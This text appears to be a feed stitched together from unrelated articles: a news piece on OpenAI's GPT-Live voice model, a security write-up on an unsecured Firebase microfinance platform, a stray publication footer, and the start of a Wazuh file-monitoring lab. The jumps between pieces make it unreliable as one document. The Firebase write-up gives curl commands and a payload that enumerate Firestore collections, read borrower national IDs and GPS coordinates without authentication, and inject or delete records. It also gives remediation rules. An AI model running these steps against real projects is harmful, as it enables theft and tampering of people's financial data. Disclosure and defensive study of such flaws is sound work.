In practice, that translates to a voice assistant that can insert conversational acknowledgments — "mhmm," "yeah," "got it" — while you're still talking, pick up on a natural pause without jumping in prematurely, and handle rapid interruptions without derailing the entire exchange. 

OpenAI's previous Advanced Voice Mode, launched to paid users in September 2024, processed and generated audio within a single model but still operated on rigid turn-by-turn exchanges. As OpenAI acknowledged in the announcement, "because turn detection is based on silence, even a brief pause or background noise could be mistaken for the end of turn — causing the model to interrupt at unnatural times."

That brittleness created a product that, while impressive in demos, could be deeply frustrating in extended real-world use. Background chatter in a coffee shop could trigger a response. A thinking pause might get swallowed. The experience felt, as one researcher put it on X shortly after the announcement, like "walkie-talkie turn taking." GPT-Live is designed to end that era.

How OpenAI split voice and intelligence into two separate layers

GPT-Live introduces a second structural change that may prove just as consequential for enterprise adoption: it decouples the voice interaction layer from the reasoning layer.

When a user asks a straightforward question, GPT-Live handles it directly. But when the query demands web search, deeper reasoning, or more complex agentic work, GPT-Live delegates the task to a frontier model running in the background — at launch, GPT-5.5, the large language model OpenAI released in April — and continues talking with the user while the computation happens asynchronously.

"While it works, GPT-Live can keep talking with you and maintain the flow of conversation," OpenAI explains. "As we release new frontier models, we'll continuously update the model used by GPT-Live."

This delegation model is a meaningful architectural bet. Rather than building a single monolithic voice model that tries to be both conversationally fluid and deeply intelligent, OpenAI has split the problem in two: a voice-native model optimized for real-time interaction, and a separate reasoning engine that can be swapped out as the state of the art improves. 

It is, in effect, a modular design — one that allows OpenAI to upgrade the intelligence of its voice assistant without retraining the voice model itself. The implications for enterprise and developer workflows are significant. A voice agent built on this architecture could maintain a natural conversation with a customer while simultaneously querying databases, searching the web, or performing multi-step reasoning — tasks that would have introduced several seconds of dead air under the old pipeline.

The three generations of ChatGPT voice, from clunky pipeline to continuous stream

To understand how far voice AI has come, it helps to trace the three generations that led to GPT-Live.

The original ChatGPT Voice, launched in 2023, used a cascaded pipeline — a speech-to-text model (Whisper) transcribed what you said, a large language model (GPT-4) generated a text response, and a text-to-speech model converted that response back into audio. Each handoff introduced latency and lost information. 

As OpenAI noted, "the complexity came at a cost: information could be lost across models, and responses were slow and stilted." That cascaded approach was the industry standard, and its limitations were well-documented. As the blog OpenHelm noted in an October 2024 analysis of OpenAI's Realtime API, the old pipeline stacked up to roughly 1,700 milliseconds of latency — nearly two full seconds of dead air before the first word of a response. Managing the state between the three separate APIs consumed an enormous amount of engineering effort.

OpenAI's Advanced Voice Mode, which began its limited rollout to paid ChatGPT Plus users in July 2024 before expanding more broadly in September 2024, collapsed that three-model pipeline into a single model that processed audio natively. As TechCrunch reported at the time, the rollout came with five new voices — Arbor, Maple, Sol, Spruce, and Vale — alongside improved accent handling and smoother conversations. 

The feature also launched on the web in November 2024, extending it beyond mobile. But Advanced Voice Mode still operated through discrete, alternating turns — and it launched into the shadow of a PR debacle that OpenAI is still working to leave behind.

The Scarlett Johansson controversy still shadows OpenAI's voice ambitions

Advanced Voice Mode arrived in the wake of one of OpenAI's most damaging self-inflicted crises. During the GPT-4o launch in May 2024, the company showcased a voice called "Sky" that many listeners immediately noted sounded strikingly similar to Scarlett Johansson, who famously voiced an AI companion in the 2013 film Her.

Johansson said she had declined OpenAI CEO Sam Altman's offer to voice the system, then was "shocked, angered and in disbelief" when the product launched with a voice her own friends couldn't distinguish from hers, as NBC News reported. Altman had tweeted just the word "her" the day the product launched.

OpenAI pulled the voice and apologized, but the incident drew public scrutiny from SAG-AFTRA and members of Congress, and crystallized broader concerns about AI companies moving fast with creative IP.

The Hollywood labor union said the issue underscored "why we're strongly championing federal legislation that would protect their voices and likenesses ... from unauthorized digital replication," as NBC News reported. Forbes contributor Paul Tassi wrote at the time that Altman, "by holding up Her on a pedestal of something to strive for, has missed the point of that film" — in which the protagonist's relationship with his AI companion ultimately does him more harm than good.

GPT-Live appears designed, in part, to move past those controversies. OpenAI says it has "remastered the nine distinct voices in ChatGPT for GPT-Live" and notes the system "is designed for conversation, not voice impersonation," with "safeguards to prevent it from imitating a real person's voice."

What 150 million weekly voice users will actually notice today

OpenAI disclosed that more than 150 million people talk to ChatGPT using voice and dictation features each week — a notable slice of the platform's 900 million total weekly active users. The voice experience has grown into a substantial product in its own right, used for language practice, bedtime stories, commute-time chat, and hands-free everyday help.

The new product features reflect that usage. GPT-Live introduces rich visual cards that surface during voice conversations — weather forecasts, stock data, sports scores, and maps — giving users something to glance at without breaking the flow of speech.

Users can now choose between three reasoning levels for answers: Instant for quick responses, Medium for moderate thinking, and High for more complex work. And if you take a moment to think, "ChatGPT Voice now waits instead of jumping in and interrupting," OpenAI wrote. "If you ask it to stay quiet and listen, it will. And when there's background noise, like passing traffic or nearby conversations, ChatGPT is better at focusing on your voice instead of getting distracted."

Early reactions from users with preview access were cautiously positive. "I had early access to sol. it is a phenomenal model," wrote one user on X, adding it is “much better at frontend, long context knowledge work, and its vibes are much better.” Another observer cut to the heart of the matter: "The smarts are not new here, GPT-Live hands hard questions to GPT-5.5. What is new is the feel: full-duplex voice that listens while it talks."

New voice-specific safety tests reveal where the risks still live

The GPT-Live system card, published alongside the announcement, reveals a safety strategy built around the particular risks of real-time voice interaction — a domain where the speed and intimacy of conversation create hazards that text-based chat does not.

OpenAI expanded its safety evaluations to include audio-native tests, using both real user voice samples (from those who opted in) and synthetically generated prompts targeting edge cases across categories like self-harm, sexual content, illicit behavior, emotional reliance, mental health, and hate speech.

On the synthetic evaluations — which OpenAI described as deliberately adversarial — GPT-Live-1 showed substantial improvements over Advanced Voice Mode. In illicit behavior, for instance, the safety score rose from 0.63 to 0.97. On self-harm, it climbed from 0.72 to 0.98. Hate speech achieved a perfect 1.00, up from 0.87.

On the production-prompt evaluations — which used real user audio and reflected more ambiguous, borderline scenarios — the picture was more mixed. GPT-Live-1 matched or improved on Advanced Voice Mode in most categories but showed a slight regression on emotional reliance (from 0.88 to 0.82), though OpenAI noted the change was not statistically significant.

The company built real-time safeguards that can intervene while the model is speaking — steering toward safer responses, surfacing crisis resources, or ending the voice conversation entirely in higher-risk situations. It also designed additional protections for teen users and adapted self-harm support flows for voice, including crisis helpline integration.

Perhaps most notably, OpenAI said it is "rolling out longer-term measurement and post-launch monitoring focused on emotional reliance" — an acknowledgment that the very naturalness GPT-Live strives for creates its own category of risk.

Google, ByteDance, and Nvidia are already in the full-duplex race

While OpenAI was refining its safety guardrails, its rivals were shipping full-duplex systems of their own. Google's Gemini Live, which supports full-duplex conversation alongside camera and screen sharing — capabilities GPT-Live notably lacks at launch — is already available in the Gemini app. Google released Gemini 3.1 Flash Live in March as its highest-quality real-time audio model, targeting low-latency voice interactions for developers.

ByteDance launched Seeduplex in April, claiming to be the first production-scale full-duplex speech AI deployed at scale, inside its Doubao app. Seeduplex reported roughly a 50 percent reduction in false-response and false-interruption rates compared to ByteDance's previous half-duplex system. And Nvidia's PersonaPlex, released in January, brought customizable voice and role control to full-duplex models, breaking what had been a constraint where natural-sounding models were locked into a single fixed voice.

The competitive picture is clear: full-duplex voice interaction is quickly becoming table stakes for consumer AI products, not a differentiator. OpenAI's advantage lies in the scale of its existing user base, its integration with GPT-5.5's reasoning capabilities, and the breadth of the ChatGPT ecosystem.

But the window in which any one company has a monopoly on natural-sounding voice AI has already closed. OpenAI also acknowledged several gaps. GPT-Live does not support voice with video or screen sharing at launch. Language support is limited, with the company noting that "for certain languages, the model may have a non-native accent or gaps in fluency." And API access is not available on day one, meaning enterprise developers cannot yet build on GPT-Live directly — a constraint that will slow the model's penetration into commercial voice-agent workflows where competitors like Google, ElevenLabs, and Deepgram already have developer-facing products.

The end of the chat box may be closer than anyone expected

GPT-Live is essentially OpenAI's most significant bet yet on voice as the primary interface for AI — not just a convenience feature bolted onto a text chatbot, but a purpose-built interaction layer that sits between the user and the company's most powerful models.

"Over time, we believe this research will also unlock the ability to use voice for increasingly complex, longer-running, and more agentic work," OpenAI wrote. That ambition — using natural voice as the front end for autonomous AI agents that can perform multi-step tasks — is the logical endpoint of the full-duplex plus delegation architecture.

Imagine telling your phone to book a flight, negotiate with your insurance company, or debug a production server, all through a conversation that feels as natural as talking to an assistant who also happens to have the intelligence of a frontier AI model.

Two years ago, talking to ChatGPT meant dictating into a microphone and waiting nearly two seconds for a stilted reply. One year ago, it meant a smoother exchange that still felt like a polite, slightly awkward phone call with someone who insisted on waiting for you to finish every sentence. Today, it means something closer to a real conversation — imperfect, still constrained in some languages and missing video, but unmistakably closer. OpenAI once got into trouble for wanting to recreate the movie Her. With GPT-Live, the company may finally be reckoning with the harder question the film actually posed: not whether AI can sound human enough to talk to, but what happens to us when it does.

Firebase security rules are opt-in. The default, for every new database & storage bucket, is wide open. This is the writeup of a vulnerability started by a team that built an entire lending platform on Firebase, left 2 out of 3 services at their defaults, and what that meant for the people who trusted them with their data.

Somewhere in this story is a woman who applied for a small loan. She submitted her national ID number, her date of birth, her home address, her GPS coordinates, a photo of her face, a photo of her ID card. and a photo of her house. She listed her husband’s name, her mother’s maiden name, her guarantor’s national ID number. She received a credit score. She signed digitally. She trusted that the platform handling all of this had taken the precautions that platforms are supposed to take.

She had no reason not to. That’s not naivety. That’s a reasonable assumption about how applications work.

This is about what those precautions actually looked like.

What Firebase Actually Is

Before getting into the vulnerability, it’s worth understanding the platform, because the misconfiguration here is not a bug in Firebase. It’s a misunderstanding of how Firebase is designed to work, and that distinction matters.

Firebase is a Backend-as-a-Service (BaaS) platform built and operated by Google. It lets development teams build production applications without managing traditional server infrastructure. Instead of provisioning database servers, configuring file storage, or building authentication systems from scratch, a team connects their app to Firebase and uses Google’s managed services for all of it.

The relevant services for this vulnerability :

Firebase Storage is file hosting backed by Google Cloud Storage. Teams use it to store user-uploaded files: profile photos, ID card scans, document PDFs, form attachments. Files are organized in a bucket, accessible via a REST API.

Firebase Firestore is a document database. It stores structured data in collections of documents, each containing key-value fields. It’s the equivalent of MongoDB in the Firebase ecosystem. This is where application data lives: user records, transaction histories, application submissions.

Firebase Realtime Database is Firebase’s older JSON tree database. Some projects use it alongside Firestore for real-time sync features, others use it as the primary store. Structured differently from Firestore but the same access model: REST endpoints, security rules controlling access.

Each of these three services is separate. Each has its own REST API endpoints, its own data model, its own security rules configuration. But they all share one thing: a single `projectId`, the umbrella identifier that ties the entire Firebase project together.

That’s the architecture detail that makes this class of vulnerability so impactful. One project, three services, three independent security configurations and if any of them is misconfigured, the others are often misconfigured too. Teams that build everything under one Firebase project tend to think about security at the project level, not the service level. When they forget to set rules, they usually forget across the board.

The Entry Point: init.json

There is a path that almost every Firebase-powered web application exposes by default.

It sits at `/__/firebase/init.json`. Firebase puts it there intentionally, so the frontend JavaScript SDK can initialize without hardcoding credentials into the app bundle. It’s not hidden, not a mistake, not a misconfiguration by itself. Every developer who deploys a Firebase web app gets this file automatically, whether they think about it or not.

I’ve seen it many times. Most of the time you note it and move on.

This time I stayed a little longer.

{
  "apiKey": "AIzaSy[REDACTED]",
  "projectId": "[PROJECT-ID]",
  "storageBucket": "[PROJECT-ID].appspot.com",
  "databaseURL": "https://[PROJECT-ID].asia-southeast1.firebasedatabase.app",
  "authDomain": "[PROJECT-ID].firebaseapp.com"
}

Six fields. Short enough to read in ten seconds. Most people who encounter this file fixate on apiKey first — it sounds like a credential. It isn’t. Firebase API keys are not authentication tokens. They’re project routing identifiers, used to direct SDK calls to the correct Firebase project. They’re designed to be public. You cannot authenticate as a user, access a database, or read a storage bucket using an API key alone. The API key is not the vulnerability.

The field that matters is projectId .

Once you have the projectId, you can construct the REST endpoint for every Firebase service on the project from scratch. The URL patterns are documented, consistent, and require no guessing:

Firebase Storage:
  https://firebasestorage.googleapis.com/v0/b/[PROJECT-ID].appspot.com/o

Firebase Firestore:
  https://firestore.googleapis.com/v1/projects/[PROJECT-ID]/databases/(default)/documents/[collection]

Firebase Realtime Database:
  https://[PROJECT-ID].asia-southeast1.firebasedatabase.app/.json

All three reachable via plain HTTP requests. No browser, no SDK, no session cookie. Just the projectId and a curl command.

Whether those requests succeed or return 403 depends entirely on the security rules each service has configured. If the rules say “allow all,” anyone can access anything. If the rules say “require auth,” unauthenticated requests get rejected. The rules are the only gate.

With those three endpoints in hand, the next step was simple: test each one.

Mapping the Full Attack Chain

Before diving into each service, here’s what the chain looked like from the outside in. This is the map that a single init.json response made possible:

[REDACTED].com/__/firebase/init.json          ← Entry point: one public URL
        │
        └── Exposes: projectId = "[PROJECT-ID]"
                        │
        ┌───────────────┼──────────────────────────────────┐
        │               │                                  │
        ▼               ▼                                  ▼
Firebase Storage   Firebase Firestore          Firebase Realtime DB
(appspot.com)      (firestore.googleapis.com)  (firebasedatabase.app)
        │               │                                  │
   READ  ⚠️👨🏻‍💻      READ  ⚠️👨🏻‍💻                      READ  🔒︎(403 ✅)
  WRITE  ⚠️👨🏻‍💻     WRITE  ⚠️👨🏻‍💻                     WRITE  🔒︎(403 ✅)
 DELETE  ⚠️👨🏻‍💻    DELETE  ⚠️👨🏻‍💻
        │               │
  100+ files        4 open collections:
  form schemas      ├── customers  → real borrower NIK, phone, GPS
  legal HTML        ├── loans      → loan amounts, disbursement, docs
  bank codes        ├── surveys    → complete filled applications
                    └── groups     → group metadata + moderator PII

The Realtime Database was the one service the team had locked down correctly. Everything else was open.

The First Test: Firebase Storage

Firebase Storage’s listing endpoint accepts no authentication by default and returns a paginated JSON listing of every file in the bucket:

curl -s "https://firebasestorage.googleapis.com/v0/b/[PROJECT-ID].appspot.com/o?maxResults=1000"

HTTP 200. No credentials. Over 100 files in the response:

{
  "items": [
    {"name": "FCMImages/Capture.PNG"},
    {"name": "FCMImages/Security-Awareness-1000x1000.jpg"},
    {"name": "FIAMImages/Fraud-Awareness-Square (1) (1).jpg"},
    {"name": "csr/html/form/uk/loan_distribution-1.0.0.html"},
    {"name": "csr/html/form/uk/perjanjian_penanggungan-1.0.0.html"},
    {"name": "csr/html/terms/cashless/cashless_terms_and_condition-1.1.2.html"},
    {"name": "csr/json/bank/banks-1.0.2.json"},
    {"name": "csr/json/form/aplus/form-aplus-1.1.0.json"},
    {"name": "csr/json/form/monus/form-monus-1.0.0.json"},
    {"name": "uk/form-5.5.10.json"},
    {"name": "uk/form-5.5.9.json"},
    {"name": "uk/form-5.5.0.json"},
    {"name": "uk/form-5.3.2.json"},
    ...
  ]
}

Downloading any file follows a consistent pattern:

https://firebasestorage.googleapis.com/v0/b/[BUCKET]/o/[URL-encoded-filename]?alt=media

The `?alt=media` parameter instructs Firebase to return the file contents directly instead of the metadata envelope. Forward slashes in the filename become `%2F`

curl -s "https://firebasestorage.googleapis.com/v0/b/[PROJECT-ID].appspot.com/o/uk%2Fform-5.5.10.json?alt=media"

What was in the bucket? Mostly application scaffolding: versioned form schema JSON files, HTML legal documents, bank code reference lists, marketing images. The `uk/form-5.5.10.json` schema defines the full structure of the loan application form; field names, field types, validation rules, conditional logic, but contains no actual borrower data. It’s a 114-field blueprint describing what a completed application looks like, not the completed applications themselves.

The bucket was misconfigured: unauthenticated listing, download, upload, and delete all returned HTTP 200. But the exposed files were templates, not records. Business logic exposed, not PII.

What the bucket did was tell me exactly what kind of platform this was and what the data schema looked like. Loan distribution forms. KTP (national ID card) photo upload fields. Guarantor fields. Cashless terms and conditions. Versioned form schemas with Indonesian field naming conventions.

This was a microfinance lending platform, almost certainly serving Indonesian borrowers. And if Storage had the form blueprints, Firestore almost certainly had the filled-out submissions.

Understanding Firestore’s Structure

Firestore is Firebase’s document database. The data model is straightforward: a database contains collections, each collection contains documents, each document contains fields. The REST API follows this hierarchy directly:

https://firestore.googleapis.com/v1/projects/[PROJECT-ID]/databases/(default)/documents/[collection]/[documentId]

Hitting the collection endpoint without a document ID returns a paginated list of all documents in that collection. Hitting a specific document path returns that document’s full field contents.

The catch: you need to know the collection name. Firestore doesn’t expose a collection listing endpoint without authentication. Without a valid name, the API returns an error. With a valid name and open security rules, it returns everything.

Collection names in a microfinance lending platform are not a mystery. Developers name things after what they contain. Any team building this kind of system reaches for the same vocabulary: `customers`, `loans`, `borrowers`, `users`, `applications`, `surveys`, `payments`, `transactions`, `groups`, `branches`, `agents`.

The testing methodology is simple and the response codes are unambiguous:

• HTTP 200: collection exists and is readable without authentication. Vulnerability confirmed.
• HTTP 403: collection exists but requires authentication. Correctly secured.
• HTTP 404: collection does not exist.

curl -s -o /dev/null -w "%{http_code}" \
  "https://firestore.googleapis.com/v1/projects/[PROJECT-ID]/databases/(default)/documents/customers?pageSize=1"

I tested over 80 collection names. Here is what the response codes mapped to:

| Collection | HTTP | Has Documents | Contents |
| - -| - -| - -| - -|
| `customers` | 200 | Yes | Full borrower PII |
| `loans` | 200 | Yes | Loan records + document URLs |
| `surveys` | 200 | Yes | Complete filled applications |
| `groups` | 200 | Yes | Group metadata + moderator PII |
| `users` | 200 | Empty | Accessible, no data |
| `borrowers` | 200 | Empty | Accessible, no data |
| `transactions` | 200 | Empty | Accessible, no data |
| 70+ others | 200 | Empty | Accessible, no data |
| Realtime DB (all paths) | 403 | - | Correctly secured |

Four collections containing real production data. Seventy-plus that were accessible but empty. And the Realtime Database, across every path tried, returned 403. One out of three services had functioning security rules. Two did not.

The accessible-but-empty collections are worth noting. They confirm that the security rules were missing entirely, not just misconfigured for specific collections. Any collection the team had ever created or would ever create in this Firestore instance was open to the public, including future collections they hadn’t built yet.

The Customers Collection: Borrower PII at Scale

Customer IDs in the `customers` collection followed recognizable numeric ranges: `2020xxxxxx` and `5001xxxxxx`. The prefix pattern is consistent with registration year and batch grouping. Sequential enumeration from a known starting ID worked directly.

curl -s "https://firestore.googleapis.com/v1/projects/[PROJECT-ID]/databases/(default)/documents/customers/5001000000"

HTTP 200:

{
  "name": "projects/[PROJECT-ID]/databases/(default)/documents/customers/5001000000",
  "fields": {
    "name":         { "stringValue": "SITI [REDACTED]" },
    "legalId":      { "stringValue": "14030[REDACTED]" },
    "sms":          { "stringValue": "+62812[REDACTED]" },
    "address":      { "stringValue": "GG [REDACTED]" },
    "ktpKelurahan": { "stringValue": "[REDACTED]" },
    "ktpKecamatan": { "stringValue": "[REDACTED]" },
    "bankName":     { "stringValue": "bri" },
    "updatedAt":    { "stringValue": "2026-02-21 08:23:16" },
    "geoTagHome": {
      "mapValue": { "fields": {
        "latitude":  { "doubleValue": [REDACTED] },
        "longitude": { "doubleValue": [REDACTED] }
      }}
    },
    "photoPerson":     { "stringValue": "https://storage.googleapis.com/[REDACTED]/survey/8039829/..." },
    "photoHome":       { "stringValue": "https://storage.googleapis.com/[REDACTED]/survey/8039829/..." },
    "photoPersonBuss": { "stringValue": "https://storage.googleapis.com/[REDACTED]/survey/8039829/..." }

The `updatedAt` field: five days before the test. This was not a staging environment or a demo dataset. A real person’s record, updated five days prior, containing their full name, national ID number (`legalId`), phone number, home address, sub-district and district, bank name, and precise GPS home coordinates, alongside direct URLs to their personal and home photos.

The photo URLs pointed to Google Cloud Storage. Those were also accessible without authentication, because the Storage bucket itself was open.

There were hundreds of records like this one, spread across the `2020xxxxxx` and `5001xxxxxx` ID ranges. Customer-level PII for every person who had ever been registered on the platform, sitting in an unauthenticated REST endpoint.

The Loans Collection: Financial Records

The `loans` collection stored individual loan records, each linked back to a customer via the `customerNumber` field. This cross-reference was how specific customer IDs with active records were first confirmed enumerate loans, extract `customerNumber`, query that customer directly.

curl -s "https://firestore.googleapis.com/v1/projects/[PROJECT-ID]/databases/(default)/documents/loans/1000041"

HTTP 200:

{
  "fields": {
    "id":             { "stringValue": "1000041" },
    "customerNumber": { "stringValue": "20200[REDACTED" },
    "purpose":        { "stringValue": "Ternak Sapi" },
    "principal": {
      "mapValue": { "fields": {
        "amount":   { "stringValue": "4000000" },
        "currency": { "stringValue": "IDR" }
      }}
    },
    "disbursedDate":  { "stringValue": "2021-01-27T09:33:55.22747Z" },
    "sector":         { "stringValue": "Peternakan" },
    "state":          { "stringValue": "CLOSED" },
    "subState":       { "stringValue": "PAID OFF" },
    "docs": { "arrayValue": { "values": [{
      "mapValue": { "fields": {
        "type": { "stringValue": "doc-loa" },
        "url":  { "stringValue": "https://storage.googleapis.com/[REDACTED]/doc-loa/DocumentLOA_100004120210127...pdf" }
      }}
    }]}}
  }
}

Each loan record contained: loan ID, customer cross-reference, stated loan purpose, principal amount and currency, disbursement date, economic sector, current state (active, closed, paid off), and a direct URL to the signed loan agreement PDF stored in Firebase Storage.

Those document URLs were also accessible without authentication.

The `loans` collection contained hundreds of records spanning disbursement dates from 2021 through 2026, representing the full history of lending activity on the platform.

The Surveys Collection: The Most Sensitive Data

The `surveys` collection was where the filled loan applications lived. If `customers` showed you the borrower profile, `surveys` showed you the entire loan application submission, every field from that 114-field schema in Storage, populated with real data from a real person who submitted it to request a loan.

Each survey document had two layers: top-level processed fields (credit score, approval status, loan cycle) and a nested `_raw` map containing the complete verbatim form submission.

curl -s "https://firestore.googleapis.com/v1/projects/[PROJECT-ID]/databases/(default)/documents/surveys/1093924"

HTTP 200. Application #1093924, borrower [REDACTED]:

[Top-level processed fields]
  fullname:         [REDACTED]
  creditScoreValue: 814.05
  creditScoreGrade: A
  stage:            APPROVED_BM
  loanCycle:        1

[_raw — complete form submission]
  client_fullname:             [REDACTED]
  client_ktp:                  [REDACTED - National ID Number]
  client_birthdate:            [REDACTED]
  client_birthplace:           Pekalongan
  client_religion:             Islam
  client_jenis_kelamin:        Perempuan
  client_maritalstatus:        Menikah
  client_ibu_kandung:          [REDACTED - Mother's maiden name]
  client_phone:                [REDACTED]
  client_alamat:               [REDACTED]
  client_kecamatan:            [REDACTED]
  client_kota_kab:             Pekalongan
  client_provinsi:             Jawa Tengah
  geotagging:                  [REDACTED]
  data_suami:                  [REDACTED - Husband's name]
  client_ktp_penanggung_jawab: [REDACTED - Guarantor's National ID]
  data_pengajuan:              3,000,000 IDR
  plafond:                     3,000,000 IDR
  rate:                        0.3167 (31.67%/year)
  installment:                 79,000 IDR/week
  tenor:                       50 weeks
  disbursementDate:            2021-06-08

  photo_ktp:                   https://storage.googleapis.com/[REDACTED]/survey/1093924/...jpeg
  photo_client_selfie:         https://storage.googleapis.com/[REDACTED]/survey/1093924/...jpeg
  photo_client:                https://storage.googleapis.com/[REDACTED]/survey/1093924/...jpeg
  photo_client_house:          https://storage.googleapis.com/[REDACTED]/survey/1093924/...jpeg
  photo_ktp_penanggung_jawab:  https://storage.googleapis.com/[REDACTED]/survey/1093924/...jpeg
  client_digital_signature:    https://storage.googleapis.com/[REDACTED]/survey/1839892/...
  form_tr:                     https://storage.googleapis.com/[REDACTED]/loan/1178404/...pdf

Let me be specific about what this single document contained:

Full name. National ID number (NIK). Date of birth. Birthplace. Religion. Gender. Marital status. Mother’s maiden name. Phone number. Full home address including street, sub-district, district, and province. Precise GPS coordinates of home. Husband’s full name. Guarantor’s national ID number. Loan amount requested. Approved loan amount. Annual interest rate. Weekly installment amount. Loan tenor in weeks. Disbursement date. Credit score value and letter grade. Internal approval stage and loan cycle number.

Plus direct URLs, all unauthenticated, to: the borrower’s KTP (national ID card) photo, a selfie, a personal photo, a home exterior photo, the guarantor’s KTP photo, the borrower’s digital signature, and the signed loan agreement PDF.

This is a complete financial and personal identity dossier. In aggregate, the `surveys` collection contained hundreds of records in this format. Every person who had ever submitted a loan application on this platform.

Write Access: When Read Is Not the Worst Part

Reading hundreds of borrower records is a serious confidentiality violation. But the security rules that permitted reading also permitted writing, modifying, and deleting.full CRUD access with no authentication at any point.

Creating a new document in any collection:

## Construct from the Firestore REST API
...
...

payload = {
    "fields": {
        "name":    {"stringValue": "ATTACKER INJECTED"},
        "legalId": {"stringValue": "9999999999999999"}
    }
}
# POST to /documents/customers → HTTP 200

Response:

{
  "name": "projects/[PROJECT-ID]/databases/(default)/documents/customers/TYF6XDy0lXqazvvepLhy",
  "fields": {
    "name":    {"stringValue": "ATTACKER INJECTED"},
    "legalId": {"stringValue": "9999999999999999"}
  },
  "createTime": "2026-02-26T12:17:39.658121Z"

Modifying an existing document: PATCH to the document path with new field values; HTTP 200, record overwritten.

Deleting a document: DELETE to the document path, HTTP 200, record permanently gone with no recovery path.

I created a canary document in an isolated test collection to confirm write access, then immediately deleted it. No real records were modified or deleted. But the access was real and unrestricted.

What write and delete access means in practice for a production lending platform:

Fraudulent record injection: Insert fake borrower records or loan approvals directly into production collections, bypassing the application’s validation layer entirely.

Data tampering: Modify loan amounts, approval statuses, credit scores, or repayment records for any existing borrower. A bad actor could mark a loan as repaid, change a credit grade from F to A, or alter disbursement amounts.

Evidence destruction: Delete loan records, customer profiles, or survey submissions. For a regulated financial platform, missing records are a compliance and legal liability.

Full exfiltration: Script sequential reads across the customer ID ranges to pull every borrower record in the database. The API imposes no rate limiting that would prevent this.

The misconfiguration does not distinguish between a researcher running a single test and an attacker running a scripted sweep. The same rules or lack of rules, apply to both.

What Comes After the Chain Completes

When a chain like this closes, the feeling is not triumph. A single bug is a door. A chain like this is discovering that the building has no locks and never did.

I kept thinking about the scale. Not abstractly, specifically. The `customers` collection had hundreds of records. The `surveys` collection had hundreds of complete application submissions. Every person who had ever applied for a loan on this platform, every piece of information they had submitted in trust, sitting in a public API endpoint with no access control whatsoever.

The `surveys` collection was the part that stayed with me. It wasn’t just that PII was exposed. It was the completeness of it. Religion. Mother’s maiden name. Husband’s name. A credit score. A digital signature. The kind of data that, in aggregate, is a complete personal, financial, and social profile of a person. Fields that exist in a loan application precisely because they are sensitive, identity verification, anti-fraud, credit assessment. And all of it retrievable by anyone who could type a URL.

I stopped enumerating after confirming the pattern across a small number of records. The vulnerability was proven. Going further would have meant accessing data I had no legitimate reason to read.

What I didn’t stop thinking about was how long this had been this way. The oldest loan records dated back to 2021. The `updatedAt` timestamps in the `customers` collection showed active updates through the week of the test. This wasn’t a recently deployed misconfiguration. It had been open for years, across the entire operational life of the platform, while the borrowers it served had no idea.

The Lesson: Test Every Service, Every Time

The pattern that makes Firebase misconfiguration so common is the way teams think about security at the project level rather than the service level.

A developer secures the Realtime Database. They write rules, test them, they work. They move on with the assumption that the other services are handled the same way. But Firestore has its own rules file, separate from the Realtime Database. Storage has its own rules file, separate from Firestore. Each service has to be configured independently.

The team that built this platform did exactly one thing right: they locked down the Realtime Database. If you only look at that service, the security posture looks considered. But they built the real application data on Firestore and Storage, and neither had rules.

This is now a reflexive part of how I approach any Firebase-backed application. Find the `init.json`. Extract the `projectId`. Test all three services. Don’t assume that one secured service means the others are secured. The pattern holds more often than it should: if one is misconfigured, check the others immediately.

The Realtime Database 403 was almost misleading. It created a superficial impression of a team that thought about security. The impression collapsed the moment I tested Firestore.

The Fix

Every Firebase service has its own security rules configuration, managed in the Firebase Console or deployed via the Firebase CLI. The Firestore and Storage rules for this project were at the default open state. In Firestore, that default looks like this:

// Default open rules — anyone, anywhere, no authentication required
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write;
    }
  }
}

The baseline fix is requiring authentication before any access:

rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    match /{document=**} {
      allow read, write: if request.auth != null;
    }
  }
}

For Storage, the same baseline in `storage.rules`:

rules_version = '2';
service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read, write: if request.auth != null;
    }
  }
}

The right model goes further. In a lending platform, not every authenticated user should read every document. The correct rules reflect the application’s actual access model:

• A borrower can read and update only their own customer record.
• A loan officer can read records associated with their assigned branch or group.
• Survey submissions can only be read by the submitting borrower or authorized staff.
• No user, authenticated or not should have delete access to production financial records without an explicit admin role check.

But `if request.auth != null` is the baseline that eliminates unauthenticated access entirely. It’s two words added to an existing rule. The team already knew the syntax, the Realtime Database rules proved it. The rules for Firestore and Storage just weren’t there.

One consistent decision applied across three services instead of one closes the entire chain.

What init.json Is and Isn’t

The `init.json` file is not the vulnerability. It cannot and should not be removed. Firebase web apps need it to initialize, and removing it breaks the frontend SDK. There are no secrets in that file that should be hidden.

The vulnerability is a mental model error: “the frontend needs this config file, therefore the backend is safe because clients have to go through the frontend first.” That assumption is wrong. The Firebase REST APIs are public-facing, fully documented, and completely bypasses the frontend. Any attacker can construct a valid Firestore or Storage request using nothing but the `projectId` and a terminal.

The security boundary in Firebase exists only in the server-side rules. The `init.json` file tells you where every service lives. The rules file controls whether you can get inside. If the rules file is empty, the boundary is empty.

Every Firebase project I review now, I check all three services. The pattern holds more reliably than it should: if a team misconfigured one, they usually misconfigured the others. The Realtime Database being secured here was the exception. Two out of three services wide open was enough for full compromise of hundreds of borrower records.

The woman who submitted her loan application did everything she was supposed to do. She trusted that the platform had done the basic things platforms are supposed to do. A two-line rule change in a configuration file, applied when the database was first created, would have made that trust warranted.

It wasn’t applied. This is what that cost.

If you’re building on Firebase: open the Firebase Console right now, go to Firestore → Rules, Storage → Rules, and Realtime Database → Rules. Read each one carefully. If any of them contain `allow read, write;` without a condition, that service is open to the public internet at this moment.

No Rules, No Locks: Firebase Misconfiguration and the Borrowers It Left Behind was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post OpenAI Releases GPT-Realtime-2.1 and GPT-Realtime-2.1-mini for Low-Latency Voice Agents in the API appeared first on MarkTechPost.

In this project, I implemented File Integrity Monitoring (FIM) using Wazuh to detect file system and Windows Registry changes in a lab environment. Custom FIM rules was configured to monitor user directories and registry Run keys, then validated the setup by manually creating, modifying, and deleting files and folders, and by running a benign malware simulation that triggered Windows processes leading to registry updates. This demonstrated how FIM detects not only direct malicious modifications but also related system-level activity that occurs during suspicious endpoint behavior, supporting incident investigation and root-cause analysis.

File Integrity Monitoring (FIM) is a security control used to track changes made to files and system configurations. It helps detect when files are created, modified, or deleted, and when critical system areas like the Windows Registry are altered. Since many attacks rely on changing files or registry keys to maintain persistence or evade detection, FIM provides an important layer of visibility into what’s happening on an endpoint. For this project, i used Windows endpoint.

